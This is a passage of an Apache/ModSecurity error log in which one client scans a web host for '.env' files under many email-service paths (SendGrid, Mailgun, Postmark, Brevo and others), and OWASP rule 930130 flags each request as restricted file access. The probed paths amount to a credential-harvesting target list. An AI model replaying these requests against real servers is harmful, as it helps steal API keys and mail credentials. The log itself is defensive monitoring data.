[Fri Jul 17 09:15:11.326682 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/sender/.env"] [unique_id "almlR614q1EBnanVMYGnRQAAAAk"]
[Fri Jul 17 09:15:11.511430 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:53256] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:11.648250 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlR614q1EBnanVMYGnRQAAAAk"]
[Fri Jul 17 09:15:11.824169 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /campaign/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/campaign/.env"] [unique_id "almlR4l9vhFBGA6D8l99cgAAAAw"]
[Fri Jul 17 09:15:11.825455 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/campaign/.env"] [unique_id "almlR4l9vhFBGA6D8l99cgAAAAw"]
[Fri Jul 17 09:15:11.950055 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:53342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:12.022007 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:12.068305 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlR4l9vhFBGA6D8l99cgAAAAw"]
[Fri Jul 17 09:15:12.238601 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /newsletter/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/newsletter/.env"] [unique_id "almlSLEWOaI5pmYo9fnSGAAAAAA"]
[Fri Jul 17 09:15:12.240497 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/newsletter/.env"] [unique_id "almlSLEWOaI5pmYo9fnSGAAAAAA"]
[Fri Jul 17 09:15:12.472751 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlSLEWOaI5pmYo9fnSGAAAAAA"]
[Fri Jul 17 09:15:12.600564 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:12.704945 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:12.863214 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ses/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/ses/.env"] [unique_id "almlSARRrtuZqNDDSqWzcgAAABo"]
[Fri Jul 17 09:15:12.889973 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/ses/.env"] [unique_id "almlSARRrtuZqNDDSqWzcgAAABo"]
[Fri Jul 17 09:15:13.066326 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:53390] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:13.088627 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlSARRrtuZqNDDSqWzcgAAABo"]
[Fri Jul 17 09:15:13.256872 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sendgrid/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/sendgrid/.env"] [unique_id "almlSQ5GPQ6hs4VrfMpFPgAAAAY"]
[Fri Jul 17 09:15:13.258726 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/sendgrid/.env"] [unique_id "almlSQ5GPQ6hs4VrfMpFPgAAAAY"]
[Fri Jul 17 09:15:13.478502 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlSQ5GPQ6hs4VrfMpFPgAAAAY"]
[Fri Jul 17 09:15:13.649854 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sparkpost/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/sparkpost/.env"] [unique_id "almlSVh1WDijTxd1xw5PqgAAAAc"]
[Fri Jul 17 09:15:13.651718 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/sparkpost/.env"] [unique_id "almlSVh1WDijTxd1xw5PqgAAAAc"]
[Fri Jul 17 09:15:13.852533 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlSVh1WDijTxd1xw5PqgAAAAc"]
[Fri Jul 17 09:15:13.869026 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:14.020200 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /postmark/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/postmark/.env"] [unique_id "almlSol9vhFBGA6D8l99dwAAAAw"]
[Fri Jul 17 09:15:14.021558 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/postmark/.env"] [unique_id "almlSol9vhFBGA6D8l99dwAAAAw"]
[Fri Jul 17 09:15:14.174199 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:14.247503 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlSol9vhFBGA6D8l99dwAAAAw"]
[Fri Jul 17 09:15:14.418689 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailgun/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mailgun/.env"] [unique_id "almlSg7FYe46zHK_jL3THwAAABk"]
[Fri Jul 17 09:15:14.420394 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mailgun/.env"] [unique_id "almlSg7FYe46zHK_jL3THwAAABk"]
[Fri Jul 17 09:15:14.584346 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlSg7FYe46zHK_jL3THwAAABk"]
[Fri Jul 17 09:15:14.755001 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mandrill/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mandrill/.env"] [unique_id "almlSgRRrtuZqNDDSqWzdgAAABo"]
[Fri Jul 17 09:15:14.756935 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mandrill/.env"] [unique_id "almlSgRRrtuZqNDDSqWzdgAAABo"]
[Fri Jul 17 09:15:14.986721 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlSgRRrtuZqNDDSqWzdgAAABo"]
[Fri Jul 17 09:15:15.138606 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:53568] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:15.160528 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailjet/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mailjet/.env"] [unique_id "almlS0kXT4NBqALj2laAJQAAABA"]
[Fri Jul 17 09:15:15.162210 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mailjet/.env"] [unique_id "almlS0kXT4NBqALj2laAJQAAABA"]
[Fri Jul 17 09:15:15.374096 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlS0kXT4NBqALj2laAJQAAABA"]
[Fri Jul 17 09:15:15.547423 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /brevo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/brevo/.env"] [unique_id "almlSw5GPQ6hs4VrfMpFQwAAAAY"]
[Fri Jul 17 09:15:15.549412 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/brevo/.env"] [unique_id "almlSw5GPQ6hs4VrfMpFQwAAAAY"]
[Fri Jul 17 09:15:15.601755 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:15.847740 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlSw5GPQ6hs4VrfMpFQwAAAAY"]
[Fri Jul 17 09:15:16.020512 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /transactional/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/transactional/.env"] [unique_id "almlTIe39YUk0SgV8AU9igAAABE"]
[Fri Jul 17 09:15:16.022546 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/transactional/.env"] [unique_id "almlTIe39YUk0SgV8AU9igAAABE"]
[Fri Jul 17 09:15:16.195337 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlTIe39YUk0SgV8AU9igAAABE"]
[Fri Jul 17 09:15:16.363975 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bulk/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/bulk/.env"] [unique_id "almlTLEWOaI5pmYo9fnSIAAAAAA"]
[Fri Jul 17 09:15:16.365204 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/bulk/.env"] [unique_id "almlTLEWOaI5pmYo9fnSIAAAAAA"]
